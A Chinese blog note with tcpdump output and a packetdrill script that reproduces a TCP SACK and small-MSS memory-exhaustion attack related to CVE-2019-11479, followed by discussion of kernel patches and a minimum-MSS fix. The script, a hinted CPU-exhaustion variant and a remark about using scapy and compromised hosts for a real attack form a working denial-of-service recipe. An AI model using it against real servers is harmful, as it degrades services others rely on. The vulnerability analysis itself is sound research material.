08:22:21.318731 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 865:873, ack 11, win 252, options [nop,nop,TS val 3191361 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.318733 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 873:881, ack 11, win 252, options [nop,nop,TS val 3191361 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.318735 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 881:889, ack 11, win 252, options [nop,nop,TS val 3191361 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.318736 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 889:897, ack 11, win 252, options [nop,nop,TS val 3191361 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:23:12.719446 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 37:45, ack 11, win 252, options [nop,nop,TS val 3242762 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
# … 继续下去，所有包都将会被切割成8，算下内存

以上的抓包来自于下面的packetdrill脚本：

// 下面这个不知道为什么没有失效...
+0 `ip route replace 192.0.2.0/24 via 192.168.0.1 dev tun0 cwnd 100`
+0   socket(..., SOCK_STREAM, IPPROTO_TCP) = 3
+0  setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0

+0  bind(3, ..., ...) = 0
+0  listen(3, 1) = 0

// 初始mss要大，这样积累数据比较快，注意该EXP不需要分散聚集IO写
+0  < S 0:0(0) win 32792 <mss 1460,sackOK,TS val 100 ecr 0,nop,wscale 7>
+0  > S. 0:0(0) ack 1 <...>

+0 < . 1:1(0) ack 1 win 257
+0  accept(3, ..., ...) = 4

// 写入足够的数据
+0  write(4, ..., 14480) = 14480

// 攻击者发送空洞数据，诱导被攻击侧发送3段sack，占据mss空间
+0 < . 1:11(10) ack 1 win 257
+0 < . 21:31(10) ack 1 win 257
+0 < . 41:51(10) ack 1 win 257
+0 < . 61:71(10) ack 1 win 257

// 以100为mtu构造ICMP，但实际上会被归整到552，并非就是100，更不会是88，怎么办呢？
+0 < icmp unreachable frag_needed mtu 100 [1:1461(1460)]

// 根据rto估计，模拟几轮退避，然后TCP会二分减少mtu以探测新的mtu。
// 当mss退避到48时，稍微推进una 8字节那么大，表示48的mss正合适。
// 注意，此时48里面包括26字节的3段sack，10字节的时间戳，4字节的对齐nop，剩余8字节raw data
+53.1 < . 1:1(0) ack 37 win 257 <sack 73:217,nop,nop>

// 此时的mss已经成了48(其实是32，但是tcp要求最小是48)
+0 < . 71:71(0) ack 37 win 257 <sack 73:217,nop,nop>

// 往后就爽了：
// 1. 被攻击侧不断切割并重传8字节skb，分配了内存
// 2. 攻击者不断sack重传的8字节skb，但就是una留洞，以清空inflight
// 3. 被攻击侧发送数据被sack，cwnd空间被清空，继续重传。
// gg
+1.65 < . 71:71(0) ack 37 win 257 <sack 57:501,nop,nop>
+0.65 < . 71:71(0) ack 37 win 257 <sack 45:513,nop,nop>
+0.2 < . 71:71(0) ack 37 win 257 <sack 45:537,nop,nop>
+0.2 < . 71:71(0) ack 37 win 257 <sack 45:577,nop,nop>
+0.2 < . 71:71(0) ack 37 win 257 <sack 45:617,nop,nop>
+0.2 < . 71:71(0) ack 37 win 257 <sack 45:657,nop,nop>
+0.2 < . 71:71(0) ack 37 win 257 <sack 45:697,nop,nop>
+0.2 < . 71:71(0) ack 37 win 257 <sack 45:737,nop,nop>
+0.2 < . 71:71(0) ack 37 win 257 <sack 45:777,nop,nop>
+0.2 < . 71:71(0) ack 37 win 257 <sack 45:817,nop,nop>
+0.2 < . 71:71(0) ack 37 win 257 <sack 45:857,nop,nop>
...

注意，我上面的脚本没有关于CPU的玩法，其实很简单，不断发送覆盖足够多skb的sack段即可。比如：

<sack 45:1000 1007:3000 3009:...>

想用这个脚本实施攻击？太天真，至少你要搞成scapy啊。另外，难点还在，你要学点反射攻击的东西，寻找蜜罐棺材肉鸡什么的。

话说4.15后，红黑树解放了重传队列，然而内存问题依然存在！这是TCP实现决定的。

社区在修复Sack Panic时，一并修复了这个，然而天网恢恢的策略却无意打击了善者。这个就不多说了，详情参见： https://lore.kernel.org/netdev/20190617170354.37770-3-edumazet@google.com/

其实，我以为，有更加直接且简单的修复方案，这个和CVE-2019-11479有关，参见这个patch：

https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001/PATCH_net_3_4.patch

基本就限制了最小mss的上限，所以只需要sysctl配置一个足够安全的即可，低于这个值，断就断了，无所谓了。

本质都是小mss的锅，就让它自己扛好了。另外，本来sack就是为了优化吞吐性能的，如果mss太小，注定性能不会高，中途搞掉它又如何。只是，知音少，弦断有谁听，特做笔记一篇。

最后献上一首歌：

正在播放《皮鞋湿，不会胖》

━━━●━━━─────── 2:07

⇆ ㅤㅤ◁ ㅤㅤ❚❚ ㅤㅤ▷ ㅤㅤ

↻

浙江温州皮鞋湿，下雨进水不会胖。